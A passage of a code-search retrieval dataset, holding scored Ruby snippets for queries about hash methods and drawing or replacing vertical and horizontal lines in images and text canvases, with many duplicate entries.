"85fe15b244780cd9380de72a23dddc51", "score": "0.540997", "text": "def process_content(hash, node)\n # So far, looks like content == dict.\n node.xpath(\"./s:dict/s:key\").each do |key|\n hash = place_in_nested_hash(key.attribute(\"name\").value, \n key.text, hash)\n end\n hash\n end", "title": "" }, { "docid": "3b3f75febfb73838b101b696e356535a", "score": "0.5403761", "text": "def visit_bare_assoc_hash(node); end", "title": "" }, { "docid": "d8ea9ce847d1a5961d267cf84992013e", "score": "0.5376262", "text": "def hash\n path.hash\n end", "title": "" }, { "docid": "b4558296a94a64a8f1b7ea4d9cd07561", "score": "0.53751343", "text": "def hash()\n @hash ||= @path.hash\n end", "title": "" }, { "docid": "9f007b4439daff9bfaa029a77219389c", "score": "0.5370013", "text": "def get_xml_to_hash(url)\n require 'activesupport'\n doc = Nokogiri::XML get(url)\n obj = Object.new.extend(ActiveSupport::CoreExtensions::Hash::Conversions::ClassMethods)\n obj.from_xml doc.to_xml\n # (Hash.from_xml(doc.search('//rubygem').to_xml) || {})['rubygem']\n end", "title": "" }, { "docid": "89e339fe155f8c082e0db8ebbb29dfbd", "score": "0.5359314", "text": "def read_hash_tree\n HashTree.from_disk self, leaf_count, 2\n end", "title": "" }, { "docid": "e324aefd343ae258a088c930654459f1", "score": "0.53557515", "text": "def hash\n path.hash\n end", "title": "" }, { "docid": "42e004a62f527e6be8620d805928c8e2", "score": "0.53496426", "text": "def hash\n @hash ||= Nori.parse http.body\n end", "title": "" }, { "docid": "d5b61710fea094acb972126c6dfb992b", "score": "0.53484994", "text": "def get_hash(sexp)\n begin\n h = {}\n if sexp[0] == :args_add_block\n a = sexp[1]\n a.each do |aa|\n if aa[0] == :symbol_literal\n n = aa[1][1][1]\n h[n] = true\n elsif aa[0] == :bare_assoc_hash\n k = aa[1][0][1][1][1][1]\n v = aa[1][0][2][1][1][1]\n n = k + '=>' + v\n h[n] = true\n elsif aa[0] == :var_ref\n # SKIP\n else\n $log.error \"Unknown #{aa[0]}\"\n p aa # with $log.error\n fail \"Unknown\"\n end\n end\n else\n $log.error \"get_hash() sexp[0] != :args_add_block\"\n end\n h\n rescue\n $log.error \"get_hash ================\"\n pp sexp # with $log.error\n raise \"get_hash ERROR #{@filename}\"\n end\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.53474075", "text": "def hash\n id.hash\n end", "title": "" } ]
86c3fc935fb4794d54807aff43fa4f5e
Replace a vertical line (column) of the image.
[ { "docid": "445314c17f937bbcf24d3ce214fa3ecf", "score": "0.62114185", "text": "def replaceVertical(y, arr)\n @modified.replace_column!(y, arr)\n @modified\n end", "title": "" } ]
[ { "docid": "e5198ccc6fca7308e1e7bd2effaa0472", "score": "0.7036957", "text": "def verticalLines\n (0...@width).inject([]) { |arr, column| arr << @modified.column(column) }\n end", "title": "" }, { "docid": "77f02ae933f10237c51e982124c071fa", "score": "0.7030456", "text": "def draw_vertical_line(png, color, xPosition = 0)\n\tpng.polygon([xPosition, 0, xPosition, png.height], color)\nend", "title": "" }, { "docid": "5180b64d9ce33266fdef8fb10cb33257", "score": "0.67160535", "text": "def vertical_line x\n line = { x: x, y: 0, w: 0, h: grid.height }\n line.transform_values { |v| v * grid.cell_size }\n end", "title": "" }, { "docid": "5180b64d9ce33266fdef8fb10cb33257", "score": "0.67160535", "text": "def vertical_line x\n line = { x: x, y: 0, w: 0, h: grid.height }\n line.transform_values { |v| v * grid.cell_size }\n end", "title": "" }, { "docid": "d3d36f600080ec0e062f457558452984", "score": "0.66500485", "text": "def vertical_line (board)\n transposed_board = board.transpose\n return horizontal_line (transposed_board)\n end", "title": "" }, { "docid": "fe15cd4ca005bc2ff237df14de9d2e27", "score": "0.66343945", "text": "def shifted_vertical_line x\n vertical_line(x + grid.width + 1)\n end", "title": "" }, { "docid": "9826398245d980b51a7e68d6c999ce02", "score": "0.6617996", "text": "def vertical_line(column, first_row, second_row, colour)\n raise ArgumentError, 'invalid starting position' unless valid_coordinates?(first_row, column)\n raise ArgumentError, 'invalid end position' unless valid_coordinates?(second_row, column)\n raise ArgumentError, 'colour not set' unless colour\n\n (first_row..second_row).each do |i|\n self[column, i] = colour\n end\n end", "title": "" }, { "docid": "afe8ee4c01d548e4adaf1d52400b2ca4", "score": "0.65094465", "text": "def draw_vertical(col: 0, start_row: 0, end_row: 0, color: \"R\")\n image.map!.with_index do |row, row_num|\n row.map.with_index do |pixel, col_num|\n if (row_num >= start_row && row_num <= end_row) && (col == col_num)\n color\n else\n pixel\n end\n end\n end\n save_state\n self\n end", "title": "" }, { "docid": "c94309751328aadc411e295f7cb0b774", "score": "0.64994305", "text": "def vertical_line_row(border_options=RGhost::Border::DEFAULT_OPTIONS)\n set RGhost::VerticalLine.row(border_options)\n end", "title": "" }, { "docid": "09dbc72d306099d5632a3bb0c6bd2289", "score": "0.64865404", "text": "def draw_vertical(start_line, end_line, start_char)\n start_line.upto(end_line) do |line_idx| \n @lines[line_idx][start_char] = PATH_CHAR \n end\n end", "title": "" }, { "docid": "d1b6cb72acc3ed63c6fd27bfaa127ea1", "score": "0.64828205", "text": "def vertical_line(options={:start_in => :limit_left, :size => :area_y})\n set RGhost::VerticalLine.new(options)\n end", "title": "" }, { "docid": "f5e468d8a9b178a3729d28b60205eec2", "score": "0.64629817", "text": "def draw_line; draw_horizontal_line(@draw_y + (line_height / 2) - 1, 2); end", "title": "" }, { "docid": "c98ed36d5a52d670f514e735818f1df5", "score": "0.63548714", "text": "def draw_vertical_segment value, column, row_from, row_to\n raise ArgumentError.new(\"There is no image\") if self.data == []\n raise ArgumentError.new(\"column or row out of bound\") if 1 > column || column > self.data.column_count || 1 > row_from || row_from > self.data.row_count || 1 > row_to || row_to > self.data.row_count\n (row_from..row_to).each {|row| self.data.send(:[]=, row-1, column-1, value)}\n end", "title": "" }, { "docid": "403a501a423a0ad262cd3a83661d4ea0", "score": "0.63303", "text": "def draw_vertical_segment\n @pixel_x = @cmd_options.first-1\n @color = @cmd_options.last\n\n @pixel_y1s = (@cmd_options[1]..@cmd_options[2]).to_a\n\n @pixel_y1s.each do |pixel_y|\n pixel_y -= 1\n @matrix[pixel_y][@pixel_x] = @color\n end\n end", "title": "" }, { "docid": "0b7e51b721dc025ccb663c958c06208c", "score": "0.6317767", "text": "def reflect_vertical\r\n self.v[:y] = -self.v[:y]\r\n end", "title": "" }, { "docid": "82a9e8a09ce7bbaa9acd276e59d9a0e6", "score": "0.62939054", "text": "def draw_vertical_segment(x, y1, y2, colour)\n @image.draw_vertical x.to_i, y1.to_i, y2.to_i, colour\n end", "title": "" }, { "docid": "eca849a955361d604ac3e5211d434716", "score": "0.61164516", "text": "def eigen_vertical_line(size, color)\n {\n type: \"VerticalLine\",\n size: size,\n color: color\n }\n end", "title": "" }, { "docid": "455ba3c2b1b5fd37c6b55086c939705b", "score": "0.6044905", "text": "def shifted_horizontal_line y\n line = { x: grid.width + 1, y: y, w: grid.width, h: 0 }\n line.transform_values { |v| v * grid.cell_size }\n end", "title": "" }, { "docid": "4a04f39b501dba44f3c289ffa83ef72f", "score": "0.6008496", "text": "def vertical_seperator x, y, y2\n [x, y, x, y2, 150, 150, 150]\n end", "title": "" }, { "docid": "1acb0ba4a94be78602c644d2ccdfaf1d", "score": "0.5956941", "text": "def horizontal_line y\n line = { x: 0, y: y, w: grid.width, h: 0 }\n line.transform_values { |v| v * grid.cell_size }\n end", "title": "" }, { "docid": "1acb0ba4a94be78602c644d2ccdfaf1d", "score": "0.5956941", "text": "def horizontal_line y\n line = { x: 0, y: y, w: grid.width, h: 0 }\n line.transform_values { |v| v * grid.cell_size }\n end", "title": "" }, { "docid": "b7f0b3548c53bc4c8f5b3bf73dbba3e6", "score": "0.58684826", "text": "def vline x, c, y1 = 0, y2 = w\n line x, y1, x, y2, c\n end", "title": "" }, { "docid": "b7f0b3548c53bc4c8f5b3bf73dbba3e6", "score": "0.58684826", "text": "def vline x, c, y1 = 0, y2 = w\n line x, y1, x, y2, c\n end", "title": "" }, { "docid": "c2d3298664d61dafeb52dd9d908a7a59", "score": "0.57983536", "text": "def vertical_segment(x, y1, y2, color)\n validate_x_coords(x)\n validate_y_coords(y1, y2)\n ([y1, y2].min..[y1, y2].max).each { |y| self[x, y] = color }\n end", "title": "" }, { "docid": "1fa5ffbcf23242602f2e9c2fe4af525e", "score": "0.57965165", "text": "def draw_horz_line(y)\n contents.fill_rect(0, y, contents_width, 2, system_color)\n end", "title": "" }, { "docid": "9506ad5dbe6e587075471cb45c86899c", "score": "0.57825094", "text": "def on_get_line_height(x); (@row_height || -1); end", "title": "" }, { "docid": "d279bf348d42d2f556cb0a3814ab10eb", "score": "0.57625324", "text": "def new_line\n biggest = @biggest_text_height > WLH ? @biggest_text_height : WLH\n @contents_x = 0 \n @contents_y += biggest\n @biggest_text_height = WLH\n end", "title": "" }, { "docid": "7bac57acccc650b2a3a6e3a1555e7851", "score": "0.5749512", "text": "def vertical_segment(x, y1, y2, color)\n raise InvalidColorError.new(color) unless valid_color?(color)\n raise SegmentOutOfBoundsError.new unless vertical_segment_valid?(x.to_i, y1.to_i, y2.to_i)\n\n y1.upto(y2).each do |i|\n grid[i.to_i - 1][x.to_i - 1] = color\n end\n end", "title": "" }, { "docid": "f4ae6cc20afd85e608ab6cd2ffdcb5f3", "score": "0.57417595", "text": "def draw_line\n print H_SEP * columns\n end", "title": "" }, { "docid": "cb753a91006c6da0d9b226ede3e691a1", "score": "0.57105684", "text": "def vertical_grid_line(index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.GraphComponentState_vertical_grid_line(@handle.ptr, index)\n result\n end", "title": "" }, { "docid": "9b5504e4ae24e106288f575cc9f2922b", "score": "0.5693009", "text": "def vline(x, y, height, options = {})\n options = LINE_OPTIONS.merge(options)\n\n \"<line x1=\\\"#{x}\\\" y1=\\\"#{y}\\\" x2=\\\"#{x}\\\" y2=\\\"#{y+height}\\\" \n style=\\\"stroke:#{options[:stroke]};\n stroke-width:#{options[:stroke_width]};\n stroke-linecap:#{options[:stroke_linecap]};\n stroke-opacity:#{options[:stroke_opacity]};\n stroke-dasharray:#{options[:dasharray]}\\\"/>\"\n end", "title": "" }, { "docid": "5d66ada60e1b844bdd29fd869c9d05b4", "score": "0.5674933", "text": "def insert_line\n down\n\n @lines = lines.insert_line(Vedeu::Editor::Line.new, y)\n\n bol\n\n refresh\n end", "title": "" }, { "docid": "c605e8e70ad7300c1e4b61d4c901e3d3", "score": "0.5674314", "text": "def rb_mvwvline row, col, char, width\n super(row-@top, col-@left, char, width)\n end", "title": "" }, { "docid": "d051713ae2aaa9e21d6fd8e02d90a1f6", "score": "0.5672873", "text": "def rb_mvwhline row, col, char, width\n super(row-@top, col-@left, char, width)\n end", "title": "" }, { "docid": "4e551caa04dac7f7058d3e9c14632547", "score": "0.5649213", "text": "def draw_vertical_stars(start_hash_line, end_hash_line, start_hash_char)\n start_hash_line.upto(end_hash_line) do |line_idx|\n @lines[line_idx][start_hash_char] = STAR_CHAR\n end\n end", "title": "" }, { "docid": "436e4faf49e47d622a9ce6449472a597", "score": "0.56468415", "text": "def draw_horizontal_line(png, color, yPosition = 0)\n\tpng.polygon([0, yPosition, png.width, yPosition], color)\nend", "title": "" }, { "docid": "c5eaf75acbf3130fdc6c77f4eaa1216a", "score": "0.562676", "text": "def rb_mvwvline row, col, char, width\n mvwvline row, col, char, width\n end", "title": "" }, { "docid": "0ad1666e799374079b2ee50b94e442b7", "score": "0.5624749", "text": "def hline y, c, x1 = 0, x2 = h\n line x1, y, x2, y, c\n end", "title": "" }, { "docid": "0ad1666e799374079b2ee50b94e442b7", "score": "0.5624749", "text": "def hline y, c, x1 = 0, x2 = h\n line x1, y, x2, y, c\n end", "title": "" }, { "docid": "1cfe6ee780be70bc8f97576fbb42209c", "score": "0.55898577", "text": "def draw_horizontal_line(y, h = 2)\n contents.fill_rect(0, y, contents_width, h, text_color(QuestData::COLOURS[:line]))\n contents.fill_rect(0, y + h, contents_width, [h / 2, 1].max, text_color(QuestData::COLOURS[:line_shadow]))\n end", "title": "" }, { "docid": "590f9517a83884f2e1ca97e1ea6b7201", "score": "0.5571593", "text": "def horizontalLines\n (0...@height).inject([]) { |arr, row| arr << @modified.row(row) }\n end", "title": "" }, { "docid": "cdb2fa17c7b6ce81a93a6f8947c102b6", "score": "0.5564041", "text": "def replaceHorizontal(y, arr)\n @modified.replace_row!(y, arr)\n @modified\n end", "title": "" }, { "docid": "697613750410628ac002042616f3e6d3", "score": "0.55508095", "text": "def flip_vertically!\n for y in 0...height do\n replace_row!(y, row(y).reverse)\n end\n self\n end", "title": "" }, { "docid": "80724ceb76ca3c43e0c6d519506cbd21", "score": "0.5542598", "text": "def vline(x, y1, y2, c)\n x, y1, y2 = x.to_i, y1.to_i, y2.to_i\n\n unless self.bounds?(x, y1) && self.bounds?(x, y2)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n (y1..y2).each {|y| self[y, x] = c}\n end", "title": "" }, { "docid": "a6fa3a9d79b6c978c87d3467234889a6", "score": "0.5494299", "text": "def draw_line(y)\n width = @options[:page_layout] == :portrait ? 530 : 770\n @pdf.stroke { @pdf.horizontal_line 0, width, :at => y }\n end", "title": "" }, { "docid": "48eaed7b8677e2f056922621c55d70f9", "score": "0.5492154", "text": "def update_line(y,line=nil)\n if !line\n line = AnsiTerm::String.new(buffer.lines(y))\n end\n if !line.is_a?(AnsiTerm::String)\n line = AnsiTerm::String.new(line)\n end\n\n if line.index(\"\\t\").nil?\n return line\n end\n \n pos = 0\n max = line.length\n col = 0\n nline = AnsiTerm::String.new\n first = true\n while (pos < max)\n ch = line.char_at(pos)\n if ch == \"\\t\"\n t = 4-(col%4)\n nline << TABS[4-t]\n col += t\n else\n nline << line[pos]\n col+= 1\n end\n pos+= 1\n end\n\n nline\n end", "title": "" }, { "docid": "ec4e73bfb9f974e56fc1dfe4033322fd", "score": "0.54137135", "text": "def flip_vertical\n @text_lines.reverse!\n @sltn_lines.reverse!\n end", "title": "" }, { "docid": "e6ec637cf3cefdf03167b3f5ca70bd54", "score": "0.53892344", "text": "def add_line\n @layout.add_widget(HLine.new)\n end", "title": "" }, { "docid": "4392e87ae7e438379d3f706d206ecdbd", "score": "0.537707", "text": "def line_xiaolin_wu(x0, y0, x1, y1, stroke_color, inclusive = true)\n stroke_color = ChunkyPNG::Color.parse(stroke_color)\n\n dx = x1 - x0\n sx = dx < 0 ? -1 : 1\n dx *= sx\n dy = y1 - y0\n sy = dy < 0 ? -1 : 1\n dy *= sy\n\n if dy == 0 # vertical line\n x0.step(inclusive ? x1 : x1 - sx, sx) do |x|\n compose_pixel(x, y0, stroke_color)\n end\n\n elsif dx == 0 # horizontal line\n y0.step(inclusive ? y1 : y1 - sy, sy) do |y|\n compose_pixel(x0, y, stroke_color)\n end\n\n elsif dx == dy # diagonal\n x0.step(inclusive ? x1 : x1 - sx, sx) do |x|\n compose_pixel(x, y0, stroke_color)\n y0 += sy\n end\n\n elsif dy > dx # vertical displacement\n compose_pixel(x0, y0, stroke_color)\n e_acc = 0\n e = ((dx << 16) / dy.to_f).round\n (dy - 1).downto(0) do |i|\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xffff\n x0 += sx if e_acc <= e_acc_temp\n w = 0xff - (e_acc >> 8)\n compose_pixel(x0, y0, ChunkyPNG::Color.fade(stroke_color, w))\n if inclusive || i > 0\n compose_pixel(x0 + sx, y0 + sy, ChunkyPNG::Color.fade(stroke_color, 0xff - w))\n end\n y0 += sy\n end\n compose_pixel(x1, y1, stroke_color) if inclusive\n\n else # horizontal displacement\n compose_pixel(x0, y0, stroke_color)\n e_acc = 0\n e = ((dy << 16) / dx.to_f).round\n (dx - 1).downto(0) do |i|\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xffff\n y0 += sy if e_acc <= e_acc_temp\n w = 0xff - (e_acc >> 8)\n compose_pixel(x0, y0, ChunkyPNG::Color.fade(stroke_color, w))\n if inclusive || i > 0\n compose_pixel(x0 + sx, y0 + sy, ChunkyPNG::Color.fade(stroke_color, 0xff - w))\n end\n x0 += sx\n end\n compose_pixel(x1, y1, stroke_color) if inclusive\n end\n\n self\n end", "title": "" }, { "docid": "b8e52233a506570c898f16927b6c90c4", "score": "0.5370564", "text": "def set_line(matrix, y_stat_key, line_title = nil)\n @lines = [[matrix, y_stat_key, line_title]]\n self\n end", "title": "" }, { "docid": "7d0d13e986bf36c5cb0166860b4d529b", "score": "0.5334661", "text": "def draw_right_column(node)\n node = Node.new(EMPTY_CELL, node) unless left_column_drawn?\n end_line_with(node)\n end", "title": "" }, { "docid": "e694772cc375ca8ad63489e9727b95a9", "score": "0.5327288", "text": "def replace_line(line)\n cursor = text_cursor\n\n cursor.position = document.character_count - 1\n cursor.set_position(@min_position, Qt::TextCursor::KeepAnchor)\n\n cursor.insert_text line\n\n change_cursor { |c| c.position = document.character_count - 1 }\n\n highlight\n end", "title": "" }, { "docid": "d1972a484cbddc986084e456d0efc256", "score": "0.529754", "text": "def horizontal_line(first_column, second_column, row, colour)\n raise ArgumentError, 'invalid starting position' unless valid_coordinates?(row, first_column)\n raise ArgumentError, 'invalid end position' unless valid_coordinates?(row, second_column)\n raise ArgumentError, 'colour not set' unless colour\n\n (first_column..second_column).each do |j|\n self[j, row] = colour\n end\n end", "title": "" }, { "docid": "11c99ab66fad30febe6c514770c6689c", "score": "0.527701", "text": "def short_vertical_line\n html = <<-eol\n <div class=\"short-line-container\">\n <div class=\"fam-tree-marked-right\"></div>\n <div class=\"fam-tree-unmarked\"></div>\n </div>\n eol\n html.html_safe\n end", "title": "" }, { "docid": "8ea208491a1f1fa04f5cc2f4b86b7195", "score": "0.52599484", "text": "def rb_mvwhline row, col, char, width\n mvwhline row, col, char, width\n end", "title": "" }, { "docid": "4b8d753ddb755de63dfaed81bcb09e5b", "score": "0.52516574", "text": "def move_vertically\n @vy += 1\n\n # Vertical movement\n if @vy > 0 && @y < 500 # TODO set externally\n @vy.times { @y += 1 }\n end\n if @vy < 0\n (-@vy).times { @y -= 1 }\n end\n end", "title": "" }, { "docid": "0b9ba6b81f957314765bc3008bf85b07", "score": "0.5247519", "text": "def update_head_vertical_location(row)\n locate_head[0] = row\n end", "title": "" }, { "docid": "2b107c30fe8d48d74db8172efa5c6536", "score": "0.52386266", "text": "def modify_image\n if @vertical\n @main_image = @main_image.zooming_v\n else\n @main_image = @main_image.zooming_h\n end\n end", "title": "" }, { "docid": "1498a7e41ef9de54b1012fe265390945", "score": "0.52358794", "text": "def draw_icon(line, graphic_name)\n return if line <= 0\n y = 32 * line - 32\n bitmap = RPG::Cache.picture(graphic_name)\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(0, y, bitmap, rect)\n end", "title": "" }, { "docid": "778d262163a16e7a0685715a6d6d8e3d", "score": "0.52300894", "text": "def last_line_in_view()\n\t\tcoord_to_line_num(contents_y + height)\n\tend", "title": "" }, { "docid": "a093f81fbf29d08df65f4598390729b5", "score": "0.52293426", "text": "def add_vertical_segment (option, size)\n case option\n when 'right'\n return ' ' + (' ' * size) + '|' + @@digit_space\n when 'left'\n return '|' + (' ' * size) + ' ' + @@digit_space\n when 'both'\n return '|' + (' ' * size) + '|' + @@digit_space\n when 'none'\n return ' ' + (' ' * size) + ' ' + @@digit_space\n else\n return 'Invalid vertical region option'\n end\n end", "title": "" }, { "docid": "44a0e47e5001cb0f75111be7981176f7", "score": "0.5207586", "text": "def row=(value)\n @coordinate.y = value\n end", "title": "" }, { "docid": "8995705b291a997bc7931797dc487408", "score": "0.52050674", "text": "def draw_eol\n print \"\\r\\e[#{columns - 1}C#{V_SEP}\\n\"\n end", "title": "" }, { "docid": "ad67a4c328e2ffc6e79aa748e583bdca", "score": "0.5192858", "text": "def draw_alt_line\n @dim.times do |i|\n if i.even?\n print draw_x\n else\n if @type == \"allx\"\n print draw_x\n elsif @type == \"alt\"\n print draw_dot\n end\n end\n end\n end", "title": "" }, { "docid": "c300a80c6a3c278a6757e1b404eaba5a", "score": "0.5188878", "text": "def original_line; end", "title": "" }, { "docid": "07219e241c42ac497d8341659e33d585", "score": "0.51841336", "text": "def draw_line(start_x, start_y, end_x, end_y, image)\n line = Magick::Draw.new\n line.polyline(start_x, start_y, end_x, end_y)\n line.draw(image)\nend", "title": "" }, { "docid": "649f25ba3ffd6e194d9e87376941a5ef", "score": "0.51812977", "text": "def clear_line\n CSI + '2K' + column(1)\n end", "title": "" }, { "docid": "6eace460ecebf600a0dfc51fdc29b05a", "score": "0.5172592", "text": "def line_height(*args, &block)\n MARW_CONFIGURATION[:line_height] < 18 ? super(*args, &block) : MARW_CONFIGURATION[:line_height]\n end", "title": "" }, { "docid": "bc642b25599674b02e778c210089672e", "score": "0.5170678", "text": "def line_height=(line_height)\n set_line_height(line_height)\n generate_buffers\n end", "title": "" }, { "docid": "71504c1adbe95522b42d2556ab41e0ff", "score": "0.5165683", "text": "def horizontal_line(valign=:middle,options={})\n hl(valign,options)\n end", "title": "" }, { "docid": "4c29ef05f069392dc3a539adccd67c7b", "score": "0.51540256", "text": "def draw_line(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.x += 4\n rect.y += index * WLH\n rect.width = contents.width - 8\n rect.height = WLH\n self.contents.clear_rect(rect)\n self.contents.font.color = normal_color\n self.contents.draw_text(rect, @lines[index])\n end", "title": "" }, { "docid": "5b55c33720b557bd89d34f468195105c", "score": "0.51537037", "text": "def line_height\r\n 15\r\n end", "title": "" }, { "docid": "795ab864dbcc3eeab6958c53b2e3570c", "score": "0.51171505", "text": "def write_line(line)\n text = line\n text.gsub!('~~~~{.cpp}', '```cpp')\n text.gsub!(\"~~~~\",\"```\")\n\n if text.include? \"![\"\n puts \"Image found in #{@current_content_block}.\\n...please fix #{text}\\n\"\n end\n\n @content << text\nend", "title": "" }, { "docid": "d40c9cae226ea9172a99ff9b4ba32f50", "score": "0.5113918", "text": "def line\n lines.line(y)\n end", "title": "" }, { "docid": "60bb337125a405c977a2cd9bf80d928e", "score": "0.5106589", "text": "def horizontal_line(y, options = {})\n with options do\n at = y + @bottom\n @pdf.stroke_horizontal_line left, @pdf.bounds.right - right, at: at\n end\n end", "title": "" }, { "docid": "aaf9230830ebb0ab1cc8cd4b0c6a0563", "score": "0.51001245", "text": "def y2=(y2)\n self.y = y2 - height\n end", "title": "" }, { "docid": "a52d4be808e51edf2d5609c05246a994", "score": "0.50601065", "text": "def draw\n @width = @image.columns\n @height = @image.rows\n gc = Magick::Draw.new\n gc.stroke(@color)\n \n #draw horizontal lines\n (0...@height).step(cell_height) do |i|\n gc.line(0,i,@width,i)\n i += cell_height\n end\n \n #draw vertical lines\n (0...@width).step(cell_width) do |i|\n gc.line(i,0,i,@height)\n \n end\n gc.draw(@image)\n end", "title": "" }, { "docid": "1da8fcf66da0860efabe614179e8eb47", "score": "0.5056547", "text": "def draw_horizontal_segment value, column_from, column_to, row\n raise ArgumentError.new(\"There is no image\") if self.data == []\n raise ArgumentError.new(\"column or row out of bound\") if 1 > column_from || column_from > self.data.column_count || 1 > column_to || column_to > self.data.column_count || 1 > row || row > self.data.row_count\n (column_from..column_to).each {|column| self.data.send(:[]=, row-1, column-1, value)}\n end", "title": "" }, { "docid": "1f42da81d882885cfda700d2703dce36", "score": "0.505489", "text": "def at_y new_y\n PIXI::Point.new(self.x ,new_y)\n end", "title": "" }, { "docid": "94f0c1b0a382caed8197e969e860acdd", "score": "0.5053482", "text": "def content_line_stroke(row_within_cell, vert_scrollbar)\n line_stroke(\n settings.border.style.left_vert,\n settings.border.style.middle_vert,\n settings.border.style.right_vert,\n ) do\n if settings.scrollbar.vert?\n PADDING * dimensions.inner_grid_width + vert_scrollbar[row_within_cell]\n else\n PADDING * dimensions.inner_grid_width\n end\n end\n end", "title": "" }, { "docid": "406b7227c83199f5082facd442043954", "score": "0.5042957", "text": "def hline(x1, x2, y, c)\n x1, x2, y = x1.to_i, x2.to_i, y.to_i\n\n unless self.bounds?(x1, y) && self.bounds?(x2, y)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n (x1..x2).each {|x| self[y, x] = c}\n end", "title": "" }, { "docid": "abab2e6d28ee6053b6d5f4586d0956fc", "score": "0.5037042", "text": "def vertical\n column.include?(\"XXXX\") || column.include?(\"OOOO\") #true or false for 4 in a row x's or o's\n end", "title": "" }, { "docid": "657649872976393de11efdae105eb507", "score": "0.5029818", "text": "def maatsf_set_next_line(text, pos)\n text.gsub!(/^[ \\t\\r\\f]*/, \"\")\n max_width = maatsf_total_line_width(pos[:y])\n # Create a Dummy Contents\n real_contents = contents # Preserve Real Contents\n self.contents = Bitmap.new(24, 24)\n self.contents.font = real_contents.font.dup\n @atsf_testing = true\n # Do everything\n oline, nline, tw = mapf_format_by_line(text.clone, max_width)\n # Replace old line with the new one\n text.sub!(/#{Regexp.escape(oline)}/m, nline)\n contents.dispose # Dispose dummy contents\n self.contents = real_contents # Restore real contents\n @atsf_testing = false\n return tw\n end", "title": "" }, { "docid": "d93f198c5aaa812334f6c5640d8d3543", "score": "0.501474", "text": "def line=(line)\n @session.request(:vim_set_current_line, line)\n end", "title": "" }, { "docid": "cdd4639a4670eebbd82da65ed71638ad", "score": "0.50139606", "text": "def line_after\n line[column..-1].to_s\n end", "title": "" }, { "docid": "cd59f7159ba528076586d2734f63b2fb", "score": "0.4977791", "text": "def split_vertically!(y)\n raise \"Not Implemented\"\n end", "title": "" }, { "docid": "c0c852566cad0c02c55047040e396fd1", "score": "0.4977093", "text": "def new_line(command)\n if command[1] == command[3]\n if command[2].to_i > @canvas.width - 2 || command[4].to_i > @canvas.width - 2\n puts 'you can not create the line because it is larger than the canvas'\n return\n else\n line_shape = :horizontal\n end\n elsif command [2] == command[4]\n if command[1].to_i > @canvas.height - 2 || command[3].to_i > @canvas.height - 2\n puts 'you can not create the line because it is larger than the canvas'\n return\n else\n line_shape = :vertical\n end\n else\n puts 'The line you are trying to create is not horizontal or vertical'\n return\n end\n @canvas.commands.new_line(command[1], command[2], command[3], command[4], line_shape)\n end", "title": "" }, { "docid": "14d080731ebbbb1405baf3172a418875", "score": "0.4976336", "text": "def update_line(line_text)\n updated_line_text = line_text\n # replace outlook list format with textile list format:\n updated_line_text.gsub!(/^[\\u00b7]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /,\"* \") # middot - middle dot\n updated_line_text.gsub!(/^[\\u2022]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /,\"* \") # bull - bullet\n updated_line_text.gsub!(/^o&nbsp;&nbsp; /,\"** \") # second level bullet\n updated_line_text.gsub!(/^[\\u00A7]&nbsp; /,\"*** \") # 3rd level bullet (section entity)\n \n updated_line_text.gsub!(/^[0-9]+\\.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /, \"# \")\n \n updated_line_text\n end", "title": "" }, { "docid": "1cce752fd3cb67da7e7c919e1cb44e43", "score": "0.49699342", "text": "def move(line, column=0)\n \"\\e[#{line.to_i};#{column.to_i}H\"\n end", "title": "" }, { "docid": "b063680725c4023a3dee000000907bc1", "score": "0.49651632", "text": "def reflect_horizontal\n v[:x] = -v[:x]\n end", "title": "" }, { "docid": "0a039a1b0216695a901cd6009e008b7f", "score": "0.49546587", "text": "def cap line_cap\n @style[:cap] = line_cap\n end", "title": "" }, { "docid": "1c43caa1ab6a5803c5b23f3f9b8de85a", "score": "0.49504563", "text": "def line=(_); end", "title": "" }, { "docid": "1c43caa1ab6a5803c5b23f3f9b8de85a", "score": "0.49504563", "text": "def line=(_); end", "title": "" }, { "docid": "22b69dbfa5a3cf057679e16aaf090b03", "score": "0.4947099", "text": "def line x1, y1, x2, y2, c\n h = self.h\n screen.draw_line x1, h-y1, x2, h-y2, color[c], :antialiased\n end", "title": "" }, { "docid": "25224ed0411c7c4a8b400dd28be74445", "score": "0.49452403", "text": "def vertically_striped(unstriped)\n output = unstriped.dup\n row_width = output[0].length\n\n # Zero out top and bottom 2 rows\n output[0] = [0] * row_width\n output[1] = [0] * row_width\n output[-1] = [0] * row_width\n output[-2] = [0] * row_width\n output\n end", "title": "" }, { "docid": "59f30b0c84c27c7a3c8f60c76c11b32a", "score": 